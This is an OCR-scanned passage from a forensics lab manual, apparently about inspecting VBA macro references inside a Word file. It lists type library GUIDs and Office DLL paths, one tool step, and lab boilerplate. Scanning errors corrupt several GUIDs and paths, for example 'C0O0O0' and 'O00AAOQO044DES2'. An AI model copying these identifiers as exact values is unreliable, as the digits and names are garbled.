and other variables. Some of the commands include:

"\G{000204EF-0000-0000-C000-
000000000046}#4.0#9#C:'\Program Files\Common Files'Microsoft
Shared\VBA\VBAG\VBEG6.DLL#Visual Basic For Applications
*\G{00020905-0000-0000-C0O0O0-

000000000046}#8.4#0#C:'\Program Files'\Microsoft
Office\Office12IMSWORD.OLB#Microsoft Word 12.0 Object
Library

*\G{00020430-0000-0000-CO00-
000000000046}#2.080#C:Windows\system32\stdole2.tlb#0LE
Automation

*\CNormal

*"\CNormal

"\G{2DF8D04C-5BFA-101B-BDES5-
O00AAOQO044DES2}#2.4#0#C:\Program Files\Common
Files\Microsoft Shared\OFFICE12\MSO.DLL#Microsoft Office 12.0
Object Library
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49. Investigators can also click on errors the tool displays at the bottom
right. The second error points towards the discrepancies in the end of

the word file.
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Analysis

Document all the findings you obtained during this lab.

ASK YOUR INSTRUCTOR IF YOU HAVE QUESTIONS RELATED TO

THIS LAB.

Internet Connection Required

[] Yes

M No

Platform Supported

M Classroom

1l.abs
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